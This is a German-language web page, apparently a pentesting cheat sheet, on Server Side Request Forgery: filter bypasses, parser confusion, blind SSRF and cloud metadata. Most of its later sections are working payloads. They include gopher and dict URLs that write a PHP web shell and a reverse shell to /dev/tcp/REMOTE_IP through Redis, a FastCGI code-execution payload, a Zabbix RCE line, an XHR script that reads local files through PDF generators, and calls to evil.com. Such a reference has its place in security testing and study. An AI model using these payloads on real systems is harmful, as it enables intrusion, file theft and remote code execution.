Skip to content

Server Side Request Forgery (SSRF)

Beim Server Side Request Forgery, macht der Server eine Anfrage für den User bei einem internen Server. Dadurch ist der Zugriff auf die interne Infrastruktur möglich, zudem können Vertrauensbeziehungen ausgenutzt werden. Beispielsweise wenn die Admin Oberfläche nur über das interne Interface localhost erreichbar ist. ssrf Darstellung

Auftreten von SSRF

SSRF Schwachstellen können in den folgenden Fällen auftreten:

  • Spezifizieren einer URL für ein Profilbild
  • Webhook Service & externe Datenverarbeitung
  • PDF Generatoren
  • CORS Proxies (zum umgehen der CORS Policy)
  • Verarbeitung eines Request Headers wie X-Forwarded-For oder dem Host Header.

Tools

SSRF mit blacklist basierten input Filtern

Manche Applikationen blocken eingaben wie 127.0.0.1, localhost oder sensible URLs wie /admin. Um diese Filter zu umgehen können die folgenden Techniken genutzt werden:

  • Alternative IP Repräsentation: 2130706433, 017700000001 oder 127.1.
  • Eigener Domain Name, welcher zu 127.0.0.1 auföst, wie localtest.me oder localh.st.
  • Obfuskierung wie URL Enkodierung oder case variation
  • Eigene URL welche zu der Ziel URL weiterleitet. Dazu sollten verschiedene redirect codes, und Protokolle ausprobiert werden. Beispielsweise ändern von http: zu https:, kann filter umgehen.

TODO: Add more content here.

SSRF mit whitelist basierten Eingabefiltern

Der Filter kann gucken, ob ein whitelist Wert am Anfang der URL oder am Ende enthalten ist. Um dies zu umgehen können die folgenden Techniken verwendet werden:

  • Es ist möglich credentials in einer URL anzugeben vor dem @: https://expected-host:fakepassword@evil-host
  • Mit dem # ist es möglich URL Fragmente anzugeben: https://evil-host#expected-host
  • Die DNS Naming hierarchie kann benutzt werden um daten einzufügen: https://expected-host.evil-host
  • Es ist möglich Zeichen zu URL encodieren, um das url parsen zu verwirren. Dies ist nützlich, wenn der Filter die Zeichen unterschiedlich handhabt, wie das back-end. Hier kann auch das doppelte URL enkodieren helfen.

Open Redirection

Beim Open redirect, steht in der URL eine weitere URL die aufgerufen werden soll. Dies kann ausgenutzt und überschrieben werden:

/product/nextProduct?currentProductId=6&path=http://evil-user.net

Blind SSRF

Bei Blind SSRF kann nur der vom Server ausgelöste Request auf einem Angreifer Server wie interactsh gesehen werden.

Systeme im Netzwerk finden

Mithilfe von SSRF ist es möglich auf interne Systeme zugreifen. Diese zu finden ist allerdings Aufgrund der vielen möglichen IP Adressen nicht so leicht:

IP Range IP Adressen
10.0.0.0/8 16,777,216
172.16.0.0/12 1,048,576
192.168.0.0/16 65,536

Bei AWS wird die IP Adresse 169.254.169.254 zur preisgabe von Metadaten genutzt. Andere Anbieter wie Google Cloud nutzen DNS um Metadaten bereitzustellen. Manche dieser Metadaten Dienste verlangen allerdings eine Authentifizierung.

Authentifizierung in Microservices umgehen

Die Authentifizierung innerhalb microservices ist oftmals schlechter. Diese beruhen dabei meistens auf anderen Systemen, wie ein API gateway oder ein reverse proxy. Ist es möglich eine SSRF Schwachstelle hinter diesen Diensten auszunutzen, ist es möglich diese Sicherheitsmechanismen zu umgehen. Eine gültige URI benötigt einen host und einen Pfad nach dem Schema und dem Doppelpunkt. Es kann auch der Host ausgenommen werden durch nutzen eines Schrägstriches, um zu zeigen dass es keinen Hostnamen gibt file:/tmp/foo.txt. Daneben können auch drei Schrägstriche genutzt werden, um zu zeigen dass es einen leeren Hostnamen gibt file:///tmp/foo.txt. Viele Betriebssysteme behandeln diese Optionen gleich, wobei es auch Ausnahmen gibt.

Exploiten

Manche User Agenten unterstützen das Gopher Protokoll, welches noch aus den Anfängen des Internets stammt. Mit diesem kann es möglich sein manche Restriktionen zu umgehen. So ist es beispielsweise mit curl möglich dieses zu nutzen. Zudem können Header mit newlines angehängt werden. Des erste Zeichen wird abgeschnitten, deshalb steht vor dem GET ein _.

curl gopher://127.0.0.1:9000/_GET%20/hello_gopher%20HTTP/1.1

Manche User Agenten unterstützen das Gopher Protokoll, welches noch aus den Anfängen des Internets stammt. Mit diesem kann es möglich sein manche Restriktionen zu umgehen. So ist es beispielsweise mit curl möglich dieses zu nutzen. Zudem können Header mit newlines angehängt werden. Des erste Zeichen wird abgeschnitten, deshalb steht vor dem GET ein _.

 gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Exploiting PDF Generatoren

Wenn ein PDF erstellt wird, z.B. für eine Rechnung, wandeln manche PDF Generatoren HTML in PDF um. Wird dieser HTML Code nicht überprüft kann ein Angreifer das PDF Manipulieren. Um eine SSRF Schwachstelle kann ein Iframe benutzt werden oder ein simples javascript snippet:

<script>
  var x = new XMLHttpRequest();
  x.onload=function(){ document.write(this.responseText) };
  x.open('GET','http://127.0.0.1'); // You can also read local system files such as "/etc/passwd"
  x.send();
</script>

Tip

Manche PDF Generatoren, nutzen den Chromium Browser ohne aktivierte Sandbox und mit Root Rechten

Protokoll umgehen

Manche Webseiten versuchen SSRF zu umgehen, indem nur ein Pfad angegeben werden kann. In diesem Fall ist es trotzdem Möglich ein Protokoll anzugeben:

//{CANARY_TOKEN}
\\{CANARY_TOKEN}
////{CANARY_TOKEN}
\\\\{CANARY_TOKEN}
http:{CANARY_TOKEN}
https:{CANARY_TOKEN}
/%00/{CANARY_TOKEN}
/%0A/{CANARY_TOKEN}
/%0D/{CANARY_TOKEN}
/%09/{CANARY_TOKEN}

Filter Umgehen

Um Filter zu umgehen sollten erstmal einfache Techniken benutzt werden wie, die Verwendung von localhost, 127.0.0.1 oder 0.0.0.0. Auch ist es möglich hierfür IPV6 zu nutzen: http://[::]:80/, aber auch mit der loopback Adresse http://[0000::1]:80/ ist es möglich oder mit der IPV6/IPV4 einbettung: http://[0:0:0:0:0:ffff:127.0.0.1] und http://[::ffff:127.0.0.1]

.{CANARY_TOKEN}
@{CANARY_TOKEN}
example.com.{CANARY_TOKEN}
example.com@{CANARY_TOKEN}
example.comx.{CANARY_TOKEN}
{CANARY_TOKEN}#example.com
{CANARY_TOKEN}?example.com
{CANARY_TOKEN}#@example.com
{CANARY_TOKEN}?@example.com
127.0.0.1.nip.io
example.com.127.0.0.1.nip.io
127.1
localtest.me
localh.st
spoofed.redacted.oastify.com
IP Adressen in 127.0.0.1/8
http://0/
http://127.1
http://127.0.1
http://2130706433/ # Dezimale IP Darstellung für 127.0.0.1
http://0177.0.0.1/ # Oktale Darstellung für 127.0.0.1
http://o177.0.0.1/
http://0o177.0.0.1/
http://q177.0.0.1/
http://127.0.0.1/%61dmin # URL Enkodierund einfach/doppelt
①②③④⑤⑥⑦⑧⑨⑩⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇⒈⒉⒊⒋⒌⒍⒎⒏⒐⒑⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛⒜⒝⒞⒟⒠⒡⒢⒣⒤⒥⒦⒧⒨⒩⒪⒫⒬⒭⒮⒯⒰⒱⒲⒳⒴⒵ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ⓪⓫⓬⓭⓮⓯⓰⓱⓲⓳⓴⓵⓶⓷⓸⓹⓺⓻⓼⓽⓾⓿ # Alphanumerische Zeichen
sftp://evil.com:11111/
tftp://evil.com:123456/TESTUDPPACKET
ldap://localhost:11211/%0astats%0aquit
netdoc:///etc/passwd # wrapper für Java wenn Payloads Probleme mit "\r" und "\n" haben.

Das {CANARY_TOKEN} muss durch eine Angreifer kontrollierbare Domain ersetzt werden, beispielsweise Burp Collaborator Domain. Und die Domain example.com durch eine gewhitelistete.

Auch ist es möglich einen redirect zu nutzen, um einen Filter zu umgehen. Die Weiterleitung muss den Code 307 oder 308 haben, um die HTTP Methode und den Body beizubehalten. Dafür kein ein Tool wie r3dir genutzt werden. Der folgende Code leitet mit dem 307 Temporary Redirect an localhost weiter:

https://307.r3dir.me/--to/?url=http://localhost

Filter umgehen durch Ausnutzen des Parsing Prozesses

Es ist auch möglich die Filter zu umgehen, indem Unterschiedliche Interpretierungen durch Parser ausgenutzt werden.

http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

Bei der URL http://1.1.1.1 &@2.2.2.2# @3.3.3.3/ wird beispielsweise der erste Teil von urllib2 als Ziel genommen. Bei requests und den meisten Browsern wird der zweite Teil als gültig definiert. Der erste Teil als Authentifizierungsdaten. urllib hingegen interpretiert das # Zeichen als Trennzeichen und interpretiert alles danach als Host.

Umgehen der Filter mittels JAR Scheme

jar:scheme://domain/path!/
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/

Dateien lesen

file:///etc/passwd
file://\/\/etc/passwd

Gopher

Das gopher Protokoll ist ein altes Protokoll, welches beispielsweise noch von curl unterstützt wird. Dieses Protokoll ist sehr flexibel und bietet viele Funktionen. Ein beispiel dafür ist im folgenden zu sehen, auch gibt es ein Programm mit ein paar exploits

gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Curl URL globbing

Curl nutzt ein Feature namens URL globbbing:

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}

FastCGI

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00

Redis

Auch ist es möglich auf Redis einen Angriff zu starten:

dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
dict://127.0.0.1:6379/SAVE

gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
gopher://127.0.0.1:6379/_save

Zabbix

Wenn EnableRemoteCommands=1 im Zabbix Agent Konfiguriert ist, ist eine RCE möglich:

gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5D

Upgrade zu XSS

Es ist möglich die SSRF Schwachstelle zu einer XSS Schwachstelle umzuwandeln. Dazu wird ein SVG inkludiert, welches Javascript Code ausführen kann.

https://example.com/ssrf.php?url=http://brutelogic.com.br/poc.svg

DNS Zone Transfer

Auch ist es möglich einen Zone Transfer zu machen (AXFR).

from urllib.parse import quote
domain,tld = "example.lab".split('.')
dns_request =  b"\x01\x03\x03\x07"    # BITMAP
dns_request += b"\x00\x01"            # QCOUNT
dns_request += b"\x00\x00"            # ANCOUNT
dns_request += b"\x00\x00"            # NSCOUNT
dns_request += b"\x00\x00"            # ARCOUNT
dns_request += len(domain).to_bytes() # LEN DOMAIN
dns_request += domain.encode()        # DOMAIN
dns_request += len(tld).to_bytes()    # LEN TLD
dns_request += tld.encode()           # TLD
dns_request += b"\x00"                # DNAME EOF
dns_request += b"\x00\xFC"            # QTYPE AXFR (252)
dns_request += b"\x00\x01"            # QCLASS IN (1)
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
print(f'gopher://127.0.0.1:25/_{quote(dns_request)}')

DNS Rebind

Beim DNS Rebind Angriff nutzt ein Angreifer eine Domain, die eine "harmlose" IP-Adresse zurückgibt. Bei erneuter Auflösung z.B. nach Ablauf der TTL erhält der Server eine andere Adresse. Da der Browser glaubt, dass es sich immer noch um die erste Domain handelt wird die Same-Origin-Policy nicht verletzt. Dieser Angriff funktioniert allerdings nicht bei HTTPS, da es hier unter anderem eine Zertifikatsvalidierung gibt, welche merkt, dass die neue IP nicht mit dem Zertifikat übereinstimmt. Für einen solchen Angriff kann der Dienst 1u.ms genutzt werden. Mithilfe dieses kann eine Domain wie make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms definiert werden. Dabei wird hier zuerst die IP 1.2.3.4 zurückgegeben und nach Ablauf der TTL die 169.254.169.254.

SSRF Cloud + Docker

https://swisskyrepo.github.io/PayloadsAllTheThings/Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/#ssrf-url-for-kubernetes-etcd

Quellen